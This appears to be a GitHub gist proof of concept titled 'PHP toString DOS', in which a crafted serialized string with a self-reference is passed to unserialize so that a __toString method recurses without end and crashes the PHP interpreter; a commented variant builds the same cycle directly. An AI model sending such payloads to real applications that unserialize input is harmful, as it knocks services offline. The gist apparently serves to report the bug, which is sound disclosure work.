Skip to content

Instantly share code, notes, and snippets.

@dsadyrin
Created May 13, 2022 08:09
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save dsadyrin/e2e2cc2077ee4c5b130ef7db233dfc11 to your computer and use it in GitHub Desktop.
Save dsadyrin/e2e2cc2077ee4c5b130ef7db233dfc11 to your computer and use it in GitHub Desktop.
PHP toString DOS
<?php
class Obj {
public function __toString() {
return $this->data.'';
}
}
class A {
function __destruct() {
echo $this->config;
}
}
unserialize('O:1:"A":1:{s:6:"config";O:3:"Obj":1:{s:4:"data";R:2;}}');
//If you don't consider code with unserialize function call as security issue, use the code below to trigger the bug.
/*
$o1 = new Obj;
$o1->data = &$o1;
$o2 = new A();
$o2->config = $o1;
*/
?>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment